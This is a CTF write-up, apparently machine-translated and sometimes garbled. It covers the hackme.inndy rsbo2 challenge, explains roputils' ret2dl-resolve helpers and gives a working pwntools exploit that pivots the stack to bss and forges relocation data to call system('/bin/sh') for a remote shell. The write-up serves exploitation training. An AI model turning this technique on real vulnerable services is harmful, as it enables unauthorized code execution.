Summary of hackme.inndy rsbo2 experience

I want to use retdl-resolve to solve this problem, but I can't pass my script. I searched other WPS and found that there are many ways to solve this problem. I use DynELF to leak libc address or write to leak libc address directly (the title is given to libc). But I just want to use stack migration and retdl-resolve to solve the problem, but almost all the WPS I found are With the roputils tool, I won't use it and I haven't found any tutorials. After a period of incapacity and rage, I finally decided to ask for help rather than ask for help. I went to see the source code of roputils and drilled by myself.
roputils source code

Referenced wp:
https://blog.csdn.net/charlie_heng/article/details/78947199

1.rop.fill()
The source code is as follows:

    def fill(self, size, buf=''):
        chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
        buflen = size - len(buf)
        assert buflen >= 0, "%d bytes over" % (-buflen,)
        return ''.join(random.choice(chars) for i in xrange(buflen))

It's a good idea to add characters after buf until the length of buf reaches size.
Example:

2.rop.call()
The source code is as follows:

    def call(self, addr, *args):
        if isinstance(addr, str):
            addr = self.plt(addr)

        buf = self.p(addr)  //The address of the function to be called
        buf += self.p(self.gadget('pop', n=len(args))) //Be similar to pppr Of gadget´╝îBut the parameters are uncertain, so n=len(args), Finally, all the parameters of the function will be ejected. rop.call()The next one is the return address.
        buf += self.p(args)  //The parameters of the function
        return buf

3.rop.dl_resolve_call()
The source code is as follows:

    def align(self, addr, origin, size):
        padlen = size - ((addr-origin) % size)
        return (addr+padlen, padlen)
   def plt(self, name=None):
        if name:
            return self.offset(self._plt[name])
        else:
            return self.offset(self._section['.plt'][0])
    def dl_resolve_call(self, base, *args):
        jmprel = self.dynamic('JMPREL')
        relent = self.dynamic('RELENT')

        addr_reloc, padlen_reloc = self.align(base, jmprel, relent)
        reloc_offset = addr_reloc - jmprel

        buf = self.p(self.plt())   //Here it is. plt The address of the header
        buf += self.p(reloc_offset)  //REL.PLT Gauge distance bss Segment migration
        buf += self.p(self.gadget('pop', n=len(args))) //system The return address of the function
        buf += self.p(args)  //'/bin/sh\0' Address

        return buf

The first parameter is the bss segment address of forged rel.plt, dymsym, dymstr and other data.
The second parameter is the address of the parameter of the system function.

4.dl_resolve_data()
The source code is as follows:

    def dl_resolve_data(self, base, name):
        jmprel = self.dynamic('JMPREL')
        relent = self.dynamic('RELENT')
        symtab = self.dynamic('SYMTAB')
        syment = self.dynamic('SYMENT')
        strtab = self.dynamic('STRTAB')

        addr_reloc, padlen_reloc = self.align(base, jmprel, relent)
        addr_sym, padlen_sym = self.align(addr_reloc+relent, symtab, syment)
        addr_symstr = addr_sym + syment

        r_info = (((addr_sym - symtab) / syment) << 8) | 0x7
        st_name = addr_symstr - strtab

        buf = self.fill(padlen_reloc)
        buf += struct.pack('<II', base, r_info)                      # Elf32_Rel
        buf += self.fill(padlen_sym)
        buf += struct.pack('<IIII', st_name, 0, 0, 0x12)             # Elf32_Sym
        buf += self.string(name)

        return buf

Looking at the code, you can see that it's a forgery of data about dynamic links.

Finally, exp is imitated according to understanding.
I thought that the big man's stack migration was a bit of a twist for me, so I changed it a little bit, a little verbose, but it was easy to understand.

Otherwise, rop.fill() is not filled with 0x80 because the read function reads 0x80 characters, fills with 0x7f, and the newline character of p.sendline() is exactly 0x80 characters.

In addition, there is something incomprehensible about this question:
They say that the reason for filling with x00 is to override the value of v8 to jump out of the for loop, but consider carefully that even if the value of v8 is 0 first, and v8 is given the return value of the read_80_bytes function, so the value of v8 is the character actually read by the read function, and it will not jump out of the loop immediately, but strangely, no x00 filling is needed. You can't get tflag in rsbo by filling in'a'. If anyone knows, please let me know. Thank you.

from pwn import *
import roputils as rp

context(arch='i386', os='linux', log_level='debug')
#p = process("./rsbo2")
p = remote("hackme.inndy.tw", 7706)
rop = rp.ROP("./rsbo2")
elf = ELF("./rsbo2")

offset = 0x68
bss = elf.bss() + 0x800
plt_read = elf.plt['read']
start = 0x08048490
leaveret = 0x08048733

payload = '\x00'*(offset + 4) + p32(plt_read) + p32(start) + p32(0) + p32(bss) + p32(0x80)
p.send(payload)

rop_data = 'a'*0x4 + rop.call('read', 0, bss+180, 0x80) + rop.dl_resolve_call(bss+200, bss+180)
rop_data += rop.fill(0x7f, rop_data)
sleep(2)
p.sendline(rop_data)

payload = '\x00'*offset + p32(bss) + p32(leaveret) + (0x80 - len(payload))*'a'
sleep(2)
p.send(payload)

bss_data = '/bin/sh\0'
bss_data += rop.fill(20, bss_data)
bss_data += rop.dl_resolve_data(bss+200, 'system')
bss_data += rop.fill(0x7f, bss_data)
sleep(2)
p.sendline(bss_data)

p.interactive()

Result:

Tags: Linux

Posted on Wed, 07 Aug 2019 03:05:36 -0700 by nsbrown